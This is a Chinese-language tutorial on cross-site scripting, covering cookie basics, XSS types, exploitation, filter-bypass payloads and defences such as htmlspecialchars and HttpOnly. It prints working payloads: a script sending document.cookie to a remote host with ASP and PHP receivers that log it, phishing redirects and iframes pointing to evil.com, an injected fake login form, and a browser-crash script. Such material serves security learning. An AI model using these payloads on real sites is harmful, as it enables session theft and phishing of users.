相关基础 浏览器工作机制 常见浏览器有IE、Firefox、Chrome等。这些浏览器的基本工作机制相同。 浏览器主要时解析渲染Web中间件相应的HTML、JavaScript、CSS等资源
JavaScript 一种轻量级编程语言,其代码可插入HTML页面,并由所有的现代浏览器执行。 它能够改变任意HTML元素的大多数属性,且常用于改善HTML的展现,为用户带来更好的体验
1 2 3 4 5 6 7 8 9 10 <!DOCTYPE html> <html > <head > <title > Test</title > </head > <body > <p > JavaScript能对事件做出反应,比如对按钮的点击:(alert事件)</p > <button type ="button" onclick ="alert('Webcome!')" > 单击按钮</button > </body > </html >
Cookie 简介 Cookie是用户浏览网页时网站存储在用户机器上的小文本文件,里面记录了和用户相关的一些状态或设置,如:用户名、ID、访问次数等,当用户下次访问此网站时,网站会先访问用户机器上对应的该网站的Cookie文件,例如:登陆页面的记住密码功能,在Cookie有效期内可直接鼎炉
根据Cookie时效性可分为两种类型: 持久型:以文本形式存储在硬盘上,由浏览器存取 临时型:亦称作会话Cookie,存储在内存中,当浏览器关闭后即消失
基础知识 Cookie时Web应用程序用来识别用户的凭证,且很多情况下时唯一的凭证。当用户第一次登陆网站时,网站会给用户发放一个唯一的Cookie,当用户再次登录网站时,凭借该Cookie,用户就无需再次进行登录操作 通过JS,浏览器可以操作用户的Cookie 浏览器地址栏输入:
1 2 javascript:alert(document.cookie)
漏洞介绍 原理 XSS又叫CSS(Cross Site Script)跨站脚本攻击。它指的时攻击者往Web页面或URL里插入恶意JS代码,若Web应用程序对于用户输入没有过滤,那么当正常用户浏览该页面时,嵌入在Web页面里的恶意JavaScript脚本代码会被执行,从而达到恶意攻击正常用户的目的
服务端
1 2 3 4 <?php $input = $_GET["param" ]; echo "<div>" .$input."</div>" ;?>
用户提交
1 <div > <script > alert(/xss/) </script > </div >
产生条件
可以控制输入点
输入能返回到前端页面上被浏览器当成脚本语言解释执行
危害
Cookie窃取
会话劫持
键盘记录
客户端信息探查
网页挂马
XSS蠕虫
XSS类别 DOM型 DOM(Document Object Model),是一个平台和语言都中立的接口,可以使程序和脚本能动态访问和更新文档的内容、结构以及样式 DOM-XSS简单理解为:输出点在DOM
相关资料
存储型 存储型XSS又称为持久型XSS。攻击者上传的包含恶意JS脚本的留言等信息被Web应用程序保存到数据库中,Web应用程序在新生成页面时,如果包含了该恶意JS脚本,将会导致所有访问到该网页的浏览器执行该恶意JS脚本。这种攻击类型一般常见在博客、论坛等网站中
漏洞利用 常见用法
获取管理员权限(获取Cookie)
写配置文件Getshell
键盘记录
获取内网IP …
Cookie获取 eg: 在远程服务器上,有一个接收和记录Cookies信息的文件
1 2 3 4 5 <script> document.location="http://www.test.com/cookie.asp?cookie=" +document.cookie </script> <img src="http://www.test.com/cookie.asp?cookie=" +document.cookie></img>
1 2 3 4 5 6 7 8 9 10 <% msg=Request.ServerVariables("QUERY_STRING" ) testfile=Server.MapPath("cookie.txt" ) set fs=server.CreateObject("Scripting.filesystemobject" ) set thisfile=fs.OpenTextFile(testfile,8 ,True ,0 ) thisfile.Writeline("" &msg& "" ) thisfile.close set fs=nothing %>
1 2 3 4 5 6 <?php $cookie = $_GET['cookie' ]; $log = fopen("cookie.txt" ,"a" ); fwrite($log,$cookie,"\n" ); fclose($log);?>
会话劫持 由于Cookie存在一定的安全缺陷,开发者开始使用更为安全的Session认证方式 从网站访问者进入到离开的这段时间中,每个访问者都会得到一个单独的Session,Session时基于防伪的进程,记录了一个访问从开始到结束。当浏览器或进程关闭后,Session也消失了
Seesion与Cookie的最大区别:
Session是保存在服务端的内存里
Cookie保存在浏览器或客户端的文件里
钓鱼 重定向钓鱼 把当前页面重定向到一个钓鱼页面 eg
1 http://www.bug.com/index.php?search="'><script>document.location.href=" http://www.evil.com"</script>
HTML注入式钓鱼 使用XSS漏洞注入HTML或JavaScript代码到页面中 eg,该段代码会在正常页面中嵌入一个Form表单
1 http://www.bug.com/index.php?search="'<html > <head > <title > login</title > </head > <body > <div style ="text-align:center;" > <form method ="Post" action ="phishing.php" name ="form" > <br /> <br /> Login:<br /> <input name ="login" /> <br /> Password:<br /> <input name ="Password" type ="password" /> <br /> <br /> <input name ="Valid" value ="OK" type ="submit" /> <br /> </form > </div > </body > </html >
iframe钓鱼 通过<iframe>
标签嵌入远程域的一个页面实施钓鱼 eg
1 http://www.bug.com/index.php?search='><iframe src ="http://www.evil.com" height ="100%" width ="100%" > </iframe >
XSS漏洞深入利用
XSS蠕虫 通过精心构造的XSS代码,可以实现非法转账、篡改信息、删除文章、自我复制等诸多功能
网页挂马 一般都是通过篡改网页的方式来实现 如:在XSS中使用<iframe>
标签
DDOS攻击 注入恶意JavaScript代码,可能会引起一些拒绝服务攻击
宕机攻击 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <html><body > <script > var p1="\x41" ; for (var c=0 ;c<0xC350 ;c++) { p1+="\x41" ; }var p2="\x41" ;for (c=0 ;c<0x1388 ;c++) { p2+=p1; }var el = document .createElement('FROM' ) el.style.color=p2;document .body.appendChild(el);</script > </body > </html >
XSS平台搭建 XSS利用工具 经过测试,若发现了XSS漏洞,则可以结合一些XSS工具来进行利用,常见的有:
BlueLotus_XSSReceier
XSSer.me
BeEF(Kali自带)
XSS变形与绕过 大小写混合字符 1 <scRiPt > alert(1) </scRiPt >
过滤尝试 1 <scr<script>ipt>alert(1)</scr<script>scr<script>ipt>
使用其它标签 src属性
1 2 3 4 <img src =x onerror =alert(1) > <img /src =x onerror =alert(1) > <video src =x onerror =alert(1) > <audio src ="javascript:alert(2)" >
iframe
1 <iframe src ="javascript:alert(2)" >
利用属性绕过 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <!-- "background" 属性 --> <!--Works on Opera10.5 and IE6--> <table background=javascript:alert(1 )></table> <!-- "posters" 属性 --> <!--Works upto Opera10.5 --> <video poster=javascript:alert(1 ) <!-- "data" 属性--> <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=" > <object/data= <!-- "code" 属性 --> <!-- Firefox Only --> <applet code="javascript;confirm(document.cookie);" > <embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>
利用事件绕过 1 2 3 4 5 6 7 <svg onload =prompt(1) > <marquee onstart =confirm(2) > <body onload =prompt(1) > <select autofocus onfocus =alert(1) > <textarea autofocus onfocus =alert(1) > <keygen autofocus onfocus =alert(1) > <video > <source onerror ="javascript:alert(1)" >
圆括号被过滤 1 2 <a onmouseover =javascript:windows.onerror =alert;throw 1 > </a > <img src =x onerror ="javascript:windows.onerror=alert;throw 1" >
利用编码绕过 常用:
URL编码
unicode编码
HTML编码
CSS编码
防御与修复 使用htmlspecialchars()
将一些预定义字符转换成HTML实体 预定义的字符是:&
=> &
"
=> "
'
=> '
<
=> <
>
=> >
HTTP-only 当Cookie设置为HTTP-only之后,浏览器的Cookie无法通过客户端js脚本获取 eg
1 Cookie: PHPSESSID=p31aa0tcd4h5qmgjsff87ie680; path=/; HttpOnly
补充 XSS小结 JavaScript能做的,XSS都能做,并且还能做一些HTML和CSS的内容
不使用script标签的XSS
1 <img src ="x" onerror ="alert(1)" >
XSS靶场
用短信完成XSS Verizon Messages(Message+) 是Verizon推出的一款开放跨平台信息交换应用程序,它允许用户在更多的无线设备中交换和共享信息。目前,该软件客户端支持跨平台使用,包括移动设备、桌面设备和Web段,并提升了VZW文字短信的用户体验度